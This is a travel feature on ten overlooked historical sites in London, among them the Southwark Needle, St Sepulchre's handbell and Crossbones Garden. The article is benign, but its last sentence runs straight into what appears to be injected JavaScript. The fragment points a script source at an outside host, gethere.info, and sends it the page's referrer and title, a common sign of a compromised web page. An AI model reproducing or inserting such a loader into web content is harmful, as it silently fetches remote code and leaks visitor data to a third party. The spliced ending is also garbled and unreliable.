London is packed with easily overlooked historical sites in hidden corners or seemingly ordinary locations. Historian Dr Matthew Green picks 10 of his favourite places with a story to tell
Hanging signs of Lombard Street, the City
Lombard Street, amid the hullabaloo of the City, is one of the few places in London where 17th- and 18th-century-style shop signs survive in all their gilt glory, jutting from buildings on wrought-iron brackets, creaking and groaning in the wind. Walking west from Birchin Lane to St Mary Woolnoth’s, you can see the sign of the king’s head, “cat-a-fiddling”, golden grasshopper (originally the emblem of the Gresham family, who built the Royal Exchange), and golden anchor. They are Edwardian reconstructions of earlier (mainly goldsmiths’) signs, reappropriated by early 20th-century banks, though the signs of the black eagle and the black horse, which became the logos for Barclays and Lloyd’s, have vanished. Lateral thinking was needed to decipher old signs: Adam and Eve meant a fruiterer; a bugle’s horn, a post office; a unicorn, an apothecary’s; a spotted cat, a perfumer’s (since civet, a fashionable musky perfume, was scraped from the anal glands of African civet cats). Some signs breathed – there were cats in baskets, rats and parrots in cages, vultures tethered to wine shacks, and so on, often with bells around their necks. When these “live signs” expired, they were sometimes stuffed to ensure brand continuity.
St John’s Gate, Clerkenwell
Unlikely among the office blocks and old warehouses of Clerkenwell, this bare, battlemented gate tower was built in 1504 as the entrance to the priory of St John (the charitable Order still exists today as St John Ambulance) when Clerkenwell was but a village in the fields. Long after the monastery had been dissolved and Clerkenwell swallowed by the growing metropolis, the east tower was home to Hogarth’s coffeehouse, opened by Richard, father of the famous artist, in 1703. The Hogarth family lived in the gate tower and we can imagine the child William at a window, gathering inspiration for his later engravings. His father was a quixotic Latin nut, who dreamed of publishing a Latin dictionary. There was only one rule in his coffeehouse: everyone had to speak, or at least learn to speak, in Latin. It was short-lived. The Hogarth family soon found themselves living within the “liberties” of another fortress-like structure: the Fleet Prison, where Richard was incarcerated for debt, while today the gate tower is occupied by an unexpectedly absorbing Order of St John museum.
Southwark Needle, London bridge
Perhaps because it blends in so effortlessly with the beige-grey office blocks around it, or even the Shard on the horizon, this svelte spike at the Southwark end of London bridge is all but invisible to the tourists and commuters going past. Sixteen metres long, at a slight tilt, and made of Portland stone, it marks the approximate spot where, for almost 400 years, the heads of traitors were impaled on wooden spears on the great stone gate, one of the first things people saw as they entered the City. A Swiss traveller counted over 30 in 1599, noting the perverse pride felt by noblemen seeing an ancestor’s head on a stick, grinning down at them. The first traitor to have the pleasure was William “Braveheart” Wallace in 1305 and by the time the tradition petered out in the late 17th century, the likes of Wat Tyler, Thomas Cromwell and Guy Fawkes had all been similarly transformed into gruesome human lollipops – their heads all parboiled, sautéed in pitch, and cared for by the keeper of the heads, one of the weirdest jobs in old London.
The Cat & Mutton pub, Broadway Market
This lively gastropub stands between uber-gentrified Broadway Market and London Fields, once common grazing ground and a haunt of cut-throats and robbers, now more of a barbecue beach for mankle-flashing hipsters. In the 18th century, the Shoulder of Mutton and Cat was a watering hole for drovers en route to the meat markets and thrill-seekers from the City. And what thrills lay in store – each week, a pig was seized from the fields and brought to the pub, where it had its tail lathered in soap. The drinkers would then spill out and chase the pig, screaming and shouting, and pulling each other down. Their aim was to grab the pig by the tail, swing it round their heads, and hurl it into the fields. The prize: a gold-laced hat, elevated on a pole. Happily, the Cat & Mutton no longer sponsors pig swinging but, if it did, there’s a chance the poor creature’s snout would come crashing down onto a platter of organic olives or Brie de Meaux, sure to raise the eyebrows of the “bruschetta society” at the farmers’ market each Saturday.
Statue of Mr Jamrach’s Tiger, Tobacco Dock, Wapping
Though there is a twinkle of malevolence in his eye, this bronze tiger in Wapping’s glum Tobacco Dock looks too playful and tame to have almost eaten the little boy in front of him for his lunch. But don’t be fooled. Alighting from Bengal in 1857, the tiger was the latest exotic addition to Charles Jamrach’s Animal Emporium on the deathly Ratcliffe Highway. However, it escaped, sauntered down the street, and clamped just about the only person who hadn’t fled in terror – a gawping nine-year old boy – between his jaws. Seeing what was going on, Mr Jamrach (or so he later claimed) rushed out of his shop and saved the boy with the aid of a colleague with a crowbar. The statue brings a dash of colour to Tobacco Dock, part of the docklands which, despite regeneration, is devoid of the bustle and energy it enjoyed prior to the dissolution of the docks from the late 1960s.
Caffè Nero, 79 Tottenham Court Road
On Tottenham Court Road, opposite Heal’s department store, is a solitary Caffè Nero. It sits, forlorn, in a moat of open space, like a lone domino. The concrete space around the café, in front of the mural, is a favourite spot for people to eat their lunch or feed pigeons, perhaps oblivious to the area’s tragic history. On Palm Sunday 1945, much of this area was decimated by a V2 rocket blast – the last, in fact, to rock central London. It destroyed Whitefield’s Tabernacle (since rebuilt on a smaller scale and today housing the American International Church), killing at least nine and damaging the surrounding buildings, many of which were never redeveloped. In the final stages of the second world war, just over 500 V2 rockets swooped down upon London, disembowelling entire streets without warning, sending mountainous halos of jet-black smoke swirling into the sky, and leaving parts of the city looking like the surface of the moon. They killed approximately 2,700 people. Today, the only signs of death are the seven non-flowering trees to the right of the café.
James J Fox Cigar Merchant, St James’s
On superior St James’s Street, near Pickering Place (the smallest public square in London), statues of two Native Americans keep guard outside the headquarters of James J Fox. It claims to be the oldest cigar merchant in the world (though the shop itself was recast in an incongruously imperial Portland stone redevelopment in the 1920s). Inside, it’s dusty, musty and oaky with cabinets of cigars, a smorgasboard of pipes and wainscoting festooned with coats of arms. The large ledgers on display testify to some truly impressive customers over the years, including Oscar Wilde (who failed to pay off his bill) and Winston Churchill, whose 10-a-day cigar habit, in his view, contributed to his long-lasting health (he lived to 90). Inside, you can see the gorgeous leather armchair on which he sat to select his favourite smokes. Partially exempt from the smoking ban (via a loophole that allows you to claim you’re merely sampling prospective purchases), J J Fox is a relic of a vanished London tradition – the tobacco house – of which there were over 7,000 in 1614.
The Handbell of St Sepulchre’s Church, Holborn Viaduct
The connotations of St Sepulchre’s with death and burial are highly apt: for centuries, the pealing of its bell signalled the imminent hanging – or worse – of an inmate of nearby Newgate Prison, characterised by Casanova as “an abode of misery and depair, a hell such as Dante might have conceived”. Today, the church is unassuming, lost in swirling tides of traffic. Inside you’ll find, behind the third pillar on the right, another bell – a lead, squat handbell. Preserved in a handsome glass case, you might take it for a relic. But, in fact, it was an instrument of terror between the 17th and 19th centuries. On the eve of an execution, the sexton of St Sepulchre’s appeared outside the condemned hold, opened a tiny spiked slit and gave 12 tolls of this bell. He then recited a nasty little verse, beginning: “All you that in the condemned hold do lie, Prepare you, for tomorrow you shall die.” It was, as Lady Macbeth puts it, “the sternest goodnight”.
Apothecaries’ Hall, Black Friars
Rebuilt in 1672 after the Great Fire, and a survivor of the Blitz, London’s oldest and most magical livery hall is tucked away off Black Friars Lane, a narrow cobbled street tilting to the Thames, tyrannised by angry cyclists. A dark passage guarded by golden unicorns leads into a courtyard with vivid, custard-yellow façades. Having previously been part of the grocers’ guild, the apothecaries were incorporated by royal charter in 1617, evolving into the pharmacists of the day. The eastern range, containing the Great Hall, is the oldest part. At Open House Weekend each September (and on occasional tours), you can visit the parlour and see the society’s array of drug jars; the whole complex has something of the master wizard’s lair about it. Underneath the Great Hall was once an “elaboratory”, where apothecaries concocted their unguents, vomit cakes and elixirs. One infallible 17th-century cure for depression begins “take 40 or 50 swallows when they are ready to fly from their nests, bruise them to pulp in a mortar with feathers and all, [and add] three pints of strong white wine”. It’s a wonder they stayed in business so long.
Crossbones Garden, Southwark
The denizens of Southwark are remembered in this wild garden, once a pauper’s burial ground and now a shrine to the outcast dead, much written about by local poet John Constable. Colourful ribbons are twined around rusty railings commemorating both the faceless, forgotten poor of centuries past and more recent losses. Among the flowers, photographs and poems, a brown plaque states unambiguously “in medieval times, this was an unconsecrated graveyard for prostitutes”, channelling the Elizabethan topographer John Stow who, in 1598, mentioned “an [unconsecrated] plot of ground, called the singlewoman’s churchyard … far from the parish church” for Winchester Geese (medieval prostitutes). Southwark Cathedral, once the parish church of St Mary Overie, doesn’t seem particularly far away, it has to be said but this could, nonetheless, be what Stow was talking about. The corpses and bones, excavated by the Museum of London in the 1990s and dating from late Georgian and early Victorian times, perhaps represent the continuation of a medieval burial tradition of the dispossessed. Whatever the truth, it’s a rare oasis in the thick of Southwark to remember the dead, commune with the living, and contemplate one’s own mortality in a breathless urban world.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;